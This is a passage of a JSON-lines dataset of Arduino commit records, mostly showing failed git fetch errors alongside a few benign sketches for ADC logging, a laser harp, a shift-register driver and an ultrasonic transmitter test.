belkirasan\/Arduino,kidswong999\/Arduino,diydrones\/Arduino,mattvenn\/Arduino,stevemayhew\/Arduino,jmgonzalez00449\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eeijcea\/Arduino-1,danielchalef\/Arduino,lulufei\/Arduino,SmartArduino\/Arduino-1,ektor5\/Arduino,ricklon\/Arduino,myrtleTree33\/Arduino,jomolinare\/Arduino,OpenDevice\/Arduino,arunkuttiyara\/Arduino,adamkh\/Arduino,NeuralSpaz\/Arduino,tomkrus007\/Arduino,ogferreiro\/Arduino,gestrem\/Arduino,nkolban\/Arduino,NicoHood\/Arduino,sanyaade-iot\/Arduino-1,gurbrinder\/Arduino,jamesrob4\/Arduino,UDOOboard\/Arduino,steamboating\/Arduino,aichi\/Arduino-2,shannonshsu\/Arduino,andrealmeidadomingues\/Arduino,sanyaade-iot\/Arduino-1,UDOOboard\/Arduino,bsmr-arduino\/Arduino,Alfredynho\/AgroSis,lukeWal\/Arduino,scdls\/Arduino,andyvand\/Arduino-1,shannonshsu\/Arduino,gestrem\/Arduino,stevemayhew\/Arduino,damellis\/Arduino,jamesrob4\/Arduino,Alfredynho\/AgroSis,xxxajk\/Arduino-1,koltegirish\/Arduino,smily77\/Arduino,zederson\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,jmgonzalez00449\/Arduino,01org\/Arduino,zederson\/Arduino,laylthe\/Arduino,ricklon\/Arduino,niggor\/Arduino_cc,aichi\/Arduino-2,jaimemaretoli\/Arduino,danielchalef\/Arduino,ntruchsess\/Arduino-1,381426068\/Arduino,381426068\/Arduino,NaSymbol\/Arduino,tskurauskas\/Arduino,myrtleTree33\/Arduino,wdoganowski\/Arduino,byran\/Arduino,byran\/Arduino,aichi\/Arduino-2,tommyli2014\/Arduino,majenkotech\/Arduino,Ramoonus\/Arduino,paulo-raca\/ESP8266-Arduino,chaveiro\/Arduino,damellis\/Arduino,Gourav2906\/Arduino,sanyaade-iot\/Arduino-1,SmartArduino\/Arduino-1,cscenter\/Arduino,gberl001\/Arduino,adamkh\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,tomkrus007\/Arduino,mangelajo\/Arduino,bugobliterator\/BUAGI,niggor\/Arduino_cc,ssvs111\/Arduino,adamkh\/Arduino,shiitakeo\/Arduino,garci66\/Arduino,probonopd\/Arduino,Chris--A\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,championswimmer\/Arduino,bugobliterator\/BUAGI,tannewt\/Arduino,jmgonzalez00449\/Arduino,leftbrainstrain\/Arduino-ESP8266,NeuralSpaz\/Arduino,NicoHood\/Arduino,01org\/Arduino,jaej-dev\/Arduino,paulmand3l\/Arduino,tskurauskas\/Arduino,plaintea\/esp8266-Arduino,Gourav2906\/Arduino,karlitxo\/Arduino,danielchalef\/Arduino,ricklon\/Arduino,andrealmeidadomingues\/Arduino,piersoft\/esp8266-Arduino,myrtleTree33\/Arduino,jomolinare\/Arduino,mateuszdw\/Arduino,NicoHood\/Arduino,jmgonzalez00449\/Arduino,mattvenn\/Arduino,eggfly\/arduino,jabezGit\/Arduino,leftbrainstrain\/Arduino-ESP8266,NicoHood\/Arduino,PaoloP74\/Arduino,jamesrob4\/Arduino,sanyaade-iot\/Arduino-1,tbowmo\/Arduino,wilhelmryan\/Arduino,lulufei\/Arduino,ari-analytics\/Arduino,superboonie\/Arduino,gurbrinder\/Arduino,piersoft\/esp8266-Arduino,EmuxEvans\/Arduino,onovy\/Arduino,mc-hamster\/esp8266-Arduino,arunkuttiyara\/Arduino,eeijcea\/Arduino-1,byran\/Arduino,xxxajk\/Arduino-1,lukeWal\/Arduino,jaej-dev\/Arduino,jabezGit\/Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,noahchense\/Arduino-1,stevemarple\/Arduino-org,ForestNymph\/Arduino_sources,niggor\/Arduino_cc,ForestNymph\/Arduino_sources,talhaburak\/Arduino,NeuralSpaz\/Arduino,jmgonzalez00449\/Arduino,cscenter\/Arduino,adamkh\/Arduino,nkolban\/Arduino,paulo-raca\/ESP8266-Arduino,mc-hamster\/esp8266-Arduino,ari-analytics\/Arduino,steamboating\/Arduino,ccoenen\/Arduino,paulo-raca\/ESP8266-Arduino,raimohanska\/Arduino,Ramoonus\/Arduino,381426068\/Arduino,01org\/Arduino,zaiexx\/Arduino,zaiexx\/Arduino,jmgonzalez00449\/Arduino,PeterVH\/Arduino,tannewt\/Arduino,xxxajk\/Arduino-1,jaehong\/Xmegaduino,tbowmo\/Arduino,Gourav2906\/Arduino,piersoft\/esp8266-Arduino,arduino-org\/Arduino,ssvs111\/Arduino,EmuxEvans\/Arduino,jmgonzalez00449\/Arduino,ashwin713\/Arduino,rodibot\/Arduino,karlitxo\/Arduino,smily77\/Arduino,noahchense\/Arduino-1,rcook\/DesignLab,ogferreiro\/Arduino,tskurauskas\/Arduino,jmgonzalez00449\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ikbelkirasan\/Arduino,stevemayhew\/Arduino,benwolfe\/esp8266-Arduino,ari-analytics\/Arduino,HCastano\/Arduino,Orthogonal-Systems\/arduino-libs,ForestNymph\/Arduino_sources,superboonie\/Arduino,ektor5\/Arduino,bigjosh\/Arduino,ashwin713\/Arduino,Gourav2906\/Arduino,NicoHood\/Arduino,lulufei\/Arduino,ari-analytics\/Arduino,andyvand\/Arduino-1,mc-hamster\/esp8266-Arduino,gurbrinder\/Arduino,ms-iot\/Arduino,lukeWal\/Arduino,karlitxo\/Arduino,scdls\/Arduino,odbol\/Arduino,SmartArduino\/Arduino-1,bugobliterator\/BUAGI,nkolban\/Arduino,kidswong999\/Arduino,stickbreaker\/Arduino,UDOOboard\/Arduino,jomolinare\/Arduino,smily77\/Arduino,benwolfe\/esp8266-Arduino,henningpohl\/Arduino,aichi\/Arduino-2,ForestNymph\/Arduino_sources,steamboating\/Arduino,ntruchsess\/Arduino-1,eduardocasarin\/Arduino,ms-iot\/Arduino,eduardocasarin\/Arduino,rcook\/DesignLab,Cloudino\/Arduino,Protoneer\/Arduino,tbowmo\/Arduino,OpenDevice\/Arduino,adamkh\/Arduino,PaintYourDragon\/Arduino,ccoenen\/Arduino,tskurauskas\/Arduino,Chris--A\/Arduino,gonium\/Arduino,spapadim\/Arduino,raimohanska\/Arduino,spapadim\/Arduino,jaimemaretoli\/Arduino,ogferreiro\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tskurauskas\/Arduino,wayoda\/Arduino,eddyst\/Arduino-SourceCode,andrealmeidadomingues\/Arduino,andrealmeidadomingues\/Arduino,jaehong\/Xmegaduino,HCastano\/Arduino,linino\/Arduino,arunkuttiyara\/Arduino,snargledorf\/Arduino,EmuxEvans\/Arduino,koltegirish\/Arduino,jamesrob4\/Arduino,KlaasDeNys\/Arduino,henningpohl\/Arduino,byran\/Arduino,NeuralSpaz\/Arduino,jaimemaretoli\/Arduino,talhaburak\/Arduino,andyvand\/Arduino-1,noahchense\/Arduino-1,jomolinare\/Arduino,linino\/Arduino,Cloudino\/Arduino,majenkotech\/Arduino,NeuralSpaz\/Arduino,rcook\/DesignLab,kidswong999\/Arduino,eddyst\/Arduino-SourceCode,eggfly\/arduino,byran\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,vbextreme\/Arduino,Gourav2906\/Arduino,adafruit\/ESP8266-Arduino,talhaburak\/Arduino,tannewt\/Arduino,xxxajk\/Arduino-1,SmartArduino\/Arduino-1,KlaasDeNys\/Arduino,lulufei\/Arduino,PaoloP74\/Arduino,bigjosh\/Arduino,andrealmeidadomingues\/Arduino,Protoneer\/Arduino,Cloudino\/Arduino,rodibot\/Arduino,garci66\/Arduino,tbowmo\/Arduino,mattvenn\/Arduino,pdNor\/Arduino,vbextreme\/Arduino,eeijcea\/Arduino-1,ikbelkirasan\/Arduino,superboonie\/Arduino,sanyaade-iot\/Arduino-1,PaoloP74\/Arduino,jaej-dev\/Arduino,byran\/Arduino,mangelajo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mangelajo\/Arduino,PaoloP74\/Arduino,garci66\/Arduino,tommyli2014\/Arduino,me-no-dev\/Arduino-1,ikbelkirasan\/Arduino,chaveiro\/Arduino,bigjosh\/Arduino,danielchalef\/Arduino,drpjk\/Arduino,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,wdoganowski\/Arduino,ForestNymph\/Arduino_sources,myrtleTree33\/Arduino,wayoda\/Arduino,wayoda\/Arduino,probonopd\/Arduino,henningpohl\/Arduino,pdNor\/Arduino,zenmanenergy\/Arduino,arduino-org\/Arduino,superboonie\/Arduino,eduardocasarin\/Arduino,jaehong\/Xmegaduino,radut\/Arduino,paulmand3l\/Arduino,NaSymbol\/Arduino,SmartArduino\/Arduino-1,onovy\/Arduino,gestrem\/Arduino,chaveiro\/Arduino,probonopd\/Arduino,NaSymbol\/Arduino,OpenDevice\/Arduino,zenmanenergy\/Arduino,plinioseniore\/Arduino,ForestNymph\/Arduino_sources,mangelajo\/Arduino,odbol\/Arduino,radut\/Arduino,weera00\/Arduino,linino\/Arduino,ikbelkirasan\/Arduino,garci66\/Arduino,tommyli2014\/Arduino,jabezGit\/Arduino,eduardocasarin\/Arduino,stevemarple\/Arduino-org,tomkrus007\/Arduino,jaej-dev\/Arduino,probonopd\/Arduino,paulo-raca\/ESP8266-Arduino,ashwin713\/Arduino,cscenter\/Arduino,OpenDevice\/Arduino,Chris--A\/Arduino,adafruit\/ESP8266-Arduino,bsmr-arduino\/Arduino,ccoenen\/Arduino,raimohanska\/Arduino,wayoda\/Arduino,drpjk\/Arduino,KlaasDeNys\/Arduino,shiitakeo\/Arduino,laylthe\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,superboonie\/Arduino,drpjk\/Arduino,OpenDevice\/Arduino,jomolinare\/Arduino,EmuxEvans\/Arduino,SmartArduino\/Arduino-1,odbol\/Arduino,talhaburak\/Arduino,shiitakeo\/Arduino,acosinwork\/Arduino,PeterVH\/Arduino,raimohanska\/Arduino,381426068\/Arduino,gurbrinder\/Arduino,mangelajo\/Arduino,leftbrainstrain\/Arduino-ESP8266,karlitxo\/Arduino,diydrones\/Arduino,ntruchsess\/Arduino-1,jabezGit\/Arduino,shiitakeo\/Arduino,wayoda\/Arduino,leftbrainstrain\/Arduino-ESP8266,NaSymbol\/Arduino,stevemarple\/Arduino-org,gurbrinder\/Arduino,me-no-dev\/Arduino-1,eddyst\/Arduino-SourceCode,ssvs111\/Arduino,jaej-dev\/Arduino,paulmand3l\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wilhelmryan\/Arduino,weera00\/Arduino,nandojve\/Arduino,weera00\/Arduino,KlaasDeNys\/Arduino,koltegirish\/Arduino,NaSymbol\/Arduino,adafruit\/ESP8266-Arduino,mattvenn\/Arduino,drpjk\/Arduino,UDOOboard\/Arduino,raimohanska\/Arduino,lukeWal\/Arduino,Protoneer\/Arduino,ntruchsess\/Arduino-1,talhaburak\/Arduino,drpjk\/Arduino,shannonshsu\/Arduino,mc-hamster\/esp8266-Arduino,henningpohl\/Arduino,diydrones\/Arduino,tomkrus007\/Arduino","old_file":"build\/shared\/examples\/09. USB (Leonardo only)\/KeyboardAndMouseControl\/KeyboardAndMouseControl.ino","new_file":"build\/shared\/examples\/09. USB (Leonardo only)\/KeyboardAndMouseControl\/KeyboardAndMouseControl.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"194b49b37ea38d974a445bbce24f6a40d921429f","subject":"Simple Stat Start!","message":"Simple Stat Start!\n","repos":"kjiang8\/Ardustat,kjiang8\/Ardustat,dansteingart\/Ardustat,kjiang8\/Ardustat,kjiang8\/Ardustat","old_file":"Firmware\/Experimental Versions\/simplestat\/simplestat.ino","new_file":"Firmware\/Experimental Versions\/simplestat\/simplestat.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/Experimental' did not match any file(s) known to git\nerror: pathspec 'Versions\/simplestat\/simplestat.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"6ebeb9509aa00e6fe0bcb02c6f7bfbd994030ce9","subject":"slight cosmetics","message":"slight cosmetics\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2d4528d3f1bdc908d518337223ca4fd232c01ea1","subject":"step1 we reach the target with each step","message":"step1 we reach the target with each step\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"de94e3a9c3947ecd5069712894afe33a628ca855","subject":"Arduino Files","message":"Arduino Files\n","repos":"jameskeaveney\/LiveArduinoData","old_file":"LivePlotter\/LivePlotter.ino","new_file":"LivePlotter\/LivePlotter.ino","new_contents":"\/*\n\nData logger with serial output for fast\/live plotting on python\n\nAnalog input on pin A0 is read-in at a sampling rate of ~xyz kS\/s\nThe sampling rate can be adjusted for more channels, or slower sampling rate, \n[channels must be enabled\/disabled by setting the registers in the setup() method below],\nby adjusting the sampling_time variable\n\nThe ADC data is buffered then sent quickly via SerialUSB. Since there is some overhead \ninvolved with Serial transfer, the data should be transferred in large quantities ( > 1 kB) so\nas to minimise total transmission time. Buffering will be memory-limited at some point. The\nlargest buffer possible is currently untested!\n\nPySerial is used to grab the data from the serial port and read it into python. For this,\nthe python module SixChannelReader.py has been written (in the same directory as this file), \nwhich provides class-based methods of reading in the data, as well as a method of \nsynchronisation for triggering purposes.\n\n************\n** NOTE: the USB connection to the Arduino must be to the NATIVE port, not the programming port!\n************\n\n\n\nAuthor: James Keaveney\n19\/05\/2015\n\n*\/\n\n\/\/ set up variables\nconst int buffer_length = 2000; \/\/ length of data chunks sent at a time via SerialUSB\n\n\/\/const long acquisition_time = 90000; \/\/ in ms (~2 minutes in real experiment)\n\/\/const long settling_time_ms = 15000; \/\/ in ms\n\nconst int sampling_time_sleep = 0; \/\/ in micros\n\n\/\/const int TempAdjustPin = 2;\n\nString strTime = \"\";\nString strOut = \"\";\nString strC1 = \"\";\n\nunsigned long current_time;\n\nvoid setup() {\n \n \/\/ set ADC resolution\n analogReadResolution(12);\n \n \/\/ manually set registers for faster analog reading than the normal arduino methods\n ADC->ADC_MR |= 0xC0; \/\/ set free running mode (page 1333 of the Sam3X datasheet)\n ADC->ADC_CHER = 0x80; \/\/ enable channels (see page 1338 of datasheet) on adc 7 (pin A0)\n \/\/ see also http:\/\/www.arduino.cc\/en\/Hacking\/PinMappingSAM3X for the pin mapping between Arduino names and SAM3X pin names\n ADC->ADC_CHDR = 0xFF7F; \/\/ disable all other channels\n ADC->ADC_CR=2; \/\/ begin ADC conversion\n \n \n \/\/ initialise serial port\n SerialUSB.begin(115200); \/\/ baud rate is ignored for USB - always at 12 Mb\/s\n while (!SerialUSB); \/\/ wait for USB serial port to be connected - wait for pc program to open the serial port\n \n}\n\n\n\nvoid loop() {\n\n \/\/ data acquisition will start with a synchronisation step:\n \/\/ python should send a single byte of data, the arduino will send one back to sync timeouts\n int incoming = 0;\n if (SerialUSB.available() > 0) \/\/ polls whether anything is ready on the read buffer - nothing happens until there's something there\n {\n incoming = SerialUSB.read();\n \/\/ after data received, send the same back\n SerialUSB.println(incoming);\n \n \/\/ measure start time - then acquire data for an amount of time set by the acquisition_time variable\n unsigned long start_micros = micros();\n unsigned long start_time = millis();\n \n \/\/ generate and concatenate strings\n for (int jj = 0; jj < buffer_length; jj++)\n {\n \n \/\/ ADC acquisition\n \n \/\/ can put this in a small loop for some averaging if required - takes ~ 60 microsec per read\/concatenate cycle\n while((ADC->ADC_ISR & 0x80)!=0x80); \/\/ wait for conversion to complete - see page 1345 of datasheet \n \n \/\/ concatenate strings\n current_time = micros()-start_micros;\n strTime.concat(current_time); \/\/ time axis\n strTime.concat(','); \n strC1.concat(ADC->ADC_CDR[7]); \/\/ read data from the channel data register\n strC1.concat(',');\n \n \/\/Serial.print(current_time);\n \/\/Serial.print(\",\");\n \n delayMicroseconds(sampling_time_sleep); \/\/ limit sampling rate to something reasonable - a few kS\/s\n }\n \n \/\/ send data via SerialUSB\n \/\/ perform a flush first to wait for the previous buffer to be sent, before overwriting it\n SerialUSB.flush();\n strOut = strTime + strC1; \n SerialUSB.print(strOut); \/\/ doesn't wait for write to complete before moving on\n \n \n \/\/ clear string data - re-initialise\n strTime = \"\";\n strC1 = \"\";\n \n \n \/\/ finally, print end-of-data and end-of-line character to signify no more data will be coming\n SerialUSB.println(\"\\0\");\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LivePlotter\/LivePlotter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8db9e6c25d3b93213df513a8ad7df3bcaa12ede2","subject":"Delete main.ino","message":"Delete main.ino","repos":"bitinstitute\/irobot","old_file":"sketches\/main.ino","new_file":"sketches\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitinstitute\/irobot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"071b3ad6381d4ad8b1641c2939741eb8a4ab3d08","subject":"Create PC_v099b0325.ino","message":"Create PC_v099b0325.ino\n\nadd channel id to particle publish msg","repos":"Lafudoci\/ProbeCube","old_file":"Particle Photon based\/code\/PC_v099b0325.ino","new_file":"Particle Photon based\/code\/PC_v099b0325.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle' did not match any file(s) known to git\nerror: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/PC_v099b0325.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"153758d779503dbed95254d0cd84f64e6ea7ef79","subject":"added tone piezo","message":"added tone piezo","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"96fb0f9a92c114e45c66634322d5728e02e58809","subject":"Vetor de objetos com voto","message":"Vetor de objetos com voto\n","repos":"ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius","old_file":"src\/webserver.ino","new_file":"src\/webserver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ciandt-dev\/garage-kelvin-celsius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"84457c1c47bf15c5069f4648ed108076697a9b2f","subject":"Add reading inputs","message":"Add reading inputs\n","repos":"gdgzdar\/Laser-harp,gdgzdar\/Laser-harp","old_file":"ArduinoSW\/Laser-harp\/Laser-harp.ino","new_file":"ArduinoSW\/Laser-harp\/Laser-harp.ino","new_contents":"\/\/ Prvn\u00ed okt\u00e1va\nint laserIN01 = 21;\nint laserIN02 = 22;\nint laserIN03 = 23;\nint laserIN04 = 24;\nint laserIN05 = 25;\nint laserIN06 = 26;\nint laserIN07 = 27;\nint laserIN08 = 28;\n\n\/\/ Druh\u00e1 okt\u00e1va\nint laserIN09 = 29;\nint laserIN10 = 30;\nint laserIN11 = 31;\nint laserIN12 = 32;\nint laserIN13 = 33;\nint laserIN14 = 34;\nint laserIN15 = 35;\nint laserIN16 = 36;\n\n\/\/ T\u0159et\u00ed okt\u00e1va\nint laserIN17 = 37;\nint laserIN18 = 38;\nint laserIN19 = 39;\nint laserIN20 = 40;\nint laserIN21 = 41;\nint laserIN22 = 42;\nint laserIN23 = 43;\nint laserIN24 = 44;\n\n\n\/\/ Prvn\u00ed okt\u00e1va\nint laser01;\nint laser02;\nint laser03;\nint laser04;\nint laser05;\nint laser06;\nint laser07;\nint laser08;\n\n\/\/ Druh\u00e1 okt\u00e1va\nint laser09;\nint laser10;\nint laser11;\nint laser12;\nint laser13;\nint laser14;\nint laser15;\nint laser16;\n\n\/\/ T\u0159et\u00ed okt\u00e1va\nint laser17;\nint laser18;\nint laser19;\nint laser20;\nint laser21;\nint laser22;\nint laser23;\nint laser24;\n\n\nint oktava1[8] = {laser01, laser02, laser03, laser04, laser05, laser06, laser07, laser08};\nint oktava2[8] = {laser09, laser10, laser11, laser12, laser13, laser14, laser15, laser16};\nint oktava3[8] = {laser17, laser18, laser19, laser20, laser21, laser22, laser23, laser24};\n\n\nvoid setup() { \n Serial.begin(9600);\n pinMode(laserIN01, INPUT);\n pinMode(laserIN02, INPUT);\n pinMode(laserIN03, INPUT);\n pinMode(laserIN04, INPUT);\n pinMode(laserIN05, INPUT);\n pinMode(laserIN06, INPUT);\n pinMode(laserIN07, INPUT);\n pinMode(laserIN08, INPUT);\n \n pinMode(laserIN09, INPUT); \n pinMode(laserIN10, INPUT);\n pinMode(laserIN11, INPUT);\n pinMode(laserIN12, INPUT);\n pinMode(laserIN13, INPUT);\n pinMode(laserIN14, INPUT);\n pinMode(laserIN15, INPUT);\n pinMode(laserIN16, INPUT);\n \n pinMode(laserIN17, INPUT);\n pinMode(laserIN18, INPUT);\n pinMode(laserIN19, INPUT);\n pinMode(laserIN20, INPUT);\n pinMode(laserIN21, INPUT);\n pinMode(laserIN22, INPUT);\n pinMode(laserIN23, INPUT); \n pinMode(laserIN24, INPUT); \n}\n\nvoid loop() {\n\noktava1[0] = digitalRead(laserIN01);\noktava1[1] = digitalRead(laserIN02);\noktava1[2] = digitalRead(laserIN03);\noktava1[3] = digitalRead(laserIN04);\noktava1[4] = digitalRead(laserIN05);\noktava1[5] = digitalRead(laserIN06);\noktava1[6] = digitalRead(laserIN07);\noktava1[7] = digitalRead(laserIN08);\n \noktava2[0] = digitalRead(laserIN09);\noktava2[1] = digitalRead(laserIN10);\noktava2[2] = digitalRead(laserIN11);\noktava2[3] = digitalRead(laserIN12);\noktava2[4] = digitalRead(laserIN13);\noktava2[5] = digitalRead(laserIN14);\noktava2[6] = digitalRead(laserIN15);\noktava2[7] = digitalRead(laserIN16);\n\noktava3[0] = digitalRead(laserIN17);\noktava3[1] = digitalRead(laserIN18);\noktava3[2] = digitalRead(laserIN19);\noktava3[3] = digitalRead(laserIN20);\noktava3[4] = digitalRead(laserIN21);\noktava3[5] = digitalRead(laserIN22);\noktava3[6] = digitalRead(laserIN23);\noktava3[7] = digitalRead(laserIN24);\n\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoSW\/Laser-harp\/Laser-harp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68b5724d2ebf2810da7de61b6e3dace0cfb0f913","subject":"First commit","message":"First commit\n","repos":"briches\/PrivateRepoMain,briches\/PrivateRepoMain,briches\/PrivateRepoMain","old_file":"_74HC595_Controller\/_74HC595_Controller.ino","new_file":"_74HC595_Controller\/_74HC595_Controller.ino","new_contents":"int SER_Pin = 8; \/\/pin 14 on the 75HC595\nint RCLK_Pin = 9; \/\/pin 12 on the 75HC595\nint SRCLK_Pin = 10; \/\/pin 11 on the 75HC595\n\n\/\/How many of the shift registers - change this\n#define number_of_74hc595s 1 \n\n\/\/do not touch\n#define numOfRegisterPins number_of_74hc595s * 8\n\nboolean registers[numOfRegisterPins];\n\nvoid setup(){\n pinMode(SER_Pin, OUTPUT);\n pinMode(RCLK_Pin, OUTPUT);\n pinMode(SRCLK_Pin, OUTPUT);\n\n\n \/\/reset all register pins\n clearRegisters();\n writeRegisters();\n} \n\n\n\/\/set all register pins to LOW\nvoid clearRegisters(){\n for(int i = numOfRegisterPins - 1; i >= 0; i--){\n registers[i] = LOW;\n }\n} \n\n\n\/\/Set and display registers\n\/\/Only call AFTER all values are set how you would like (slow otherwise)\nvoid writeRegisters(){\n\n digitalWrite(RCLK_Pin, LOW);\n\n for(int i = numOfRegisterPins - 1; i >= 0; i--){\n digitalWrite(SRCLK_Pin, LOW);\n\n int val = registers[i];\n\n digitalWrite(SER_Pin, val);\n digitalWrite(SRCLK_Pin, HIGH);\n\n }\n digitalWrite(RCLK_Pin, HIGH);\n\n}\n\n\/\/set an individual pin HIGH or LOW\nvoid setRegisterPin(int index, int value){\n registers[index] = value;\n}\n\n\nvoid loop(){\n\n setRegisterPin(0, HIGH);\n setRegisterPin(1, HIGH);\n setRegisterPin(2, HIGH);\n setRegisterPin(3, HIGH);\n setRegisterPin(4, HIGH);\n setRegisterPin(5, HIGH);\n setRegisterPin(6, HIGH);\n setRegisterPin(7, HIGH);\n writeRegisters();\n delay(1000);\n \n setRegisterPin(0, LOW);\n setRegisterPin(1, LOW);\n setRegisterPin(2, LOW);\n setRegisterPin(3, LOW);\n setRegisterPin(4, LOW);\n setRegisterPin(5, LOW);\n setRegisterPin(6, LOW);\n setRegisterPin(7, LOW);\n writeRegisters();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_74HC595_Controller\/_74HC595_Controller.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"065b8561a7bdbf5e6670b56aecc11784781879cb","subject":"Created first Arduino transmitter test program.","message":"Created first Arduino transmitter test program.\n","repos":"YingVictor\/ultrasonic-positioning,YingVictor\/ultrasonic-positioning,YingVictor\/ultrasonic-positioning","old_file":"arduino\/test\/tx_test\/tx_test.ino","new_file":"arduino\/test\/tx_test\/tx_test.ino","new_contents":"\/\/ One Arduino controls transmitters on pins 3 and 11, alternately\n\/\/ sending out pings from the two of them, simulating two synchronized\n\/\/ transmitter stations sending out pings in turn.\n\nenum {\n tx_pin_1 = 3,\n tx_pin_2 = 11,\n};\n\nvoid setup() {\n pinMode(tx_pin_1, OUTPUT);\n pinMode(tx_pin_2, OUTPUT);\n}\n\nvoid loop() {\n tone(tx_pin_1, 25000u, 1u);\n delay(100u);\n tone(tx_pin_2, 25000u, 1u);\n delay(1000u);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/test\/tx_test\/tx_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"924893589dabcf2f46fae18fd8bb7867fd220542","subject":"Flashing rather than fading blue and orange LEDs","message":"Flashing rather than fading blue and orange LEDs\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f75be18048515772202bde5ec851516116be45ac","subject":"Create InterleavedContinuous.ino","message":"Create InterleavedContinuous.ino","repos":"dcabanis\/vl6180x_lib","old_file":"examples\/InterleavedContinuous.ino","new_file":"examples\/InterleavedContinuous.ino","new_contents":"\/* This example demonstrates how to use interleaved mode to\ntake continuous range and ambient light measurements. The\ndatasheet recommends using interleaved mode instead of\nrunning \"range and ALS continuous modes simultaneously (i.e.\nasynchronously)\".\n\nIn order to attain a faster update rate (10 Hz), the max\nconvergence time for ranging and integration time for\nambient light measurement are reduced from the normally\nrecommended defaults. See section 2.4.4 (\"Continuous mode\nlimits\") and Table 6 (\"Interleaved mode limits (10 Hz\noperation)\") in the VL6180X datasheet for more details.\n\nRaw ambient light readings can be converted to units of lux\nusing the equation in datasheet section 2.13.4 (\"ALS count\nto lux conversion\").\n\nExample: A VL6180X gives an ambient light reading of 613\nwith the default gain of 1 and an integration period of\n50 ms as configured in this sketch (reduced from 100 ms as\nset by configureDefault()). With the factory calibrated\nresolution of 0.32 lux\/count, the light level is therefore\n(0.32 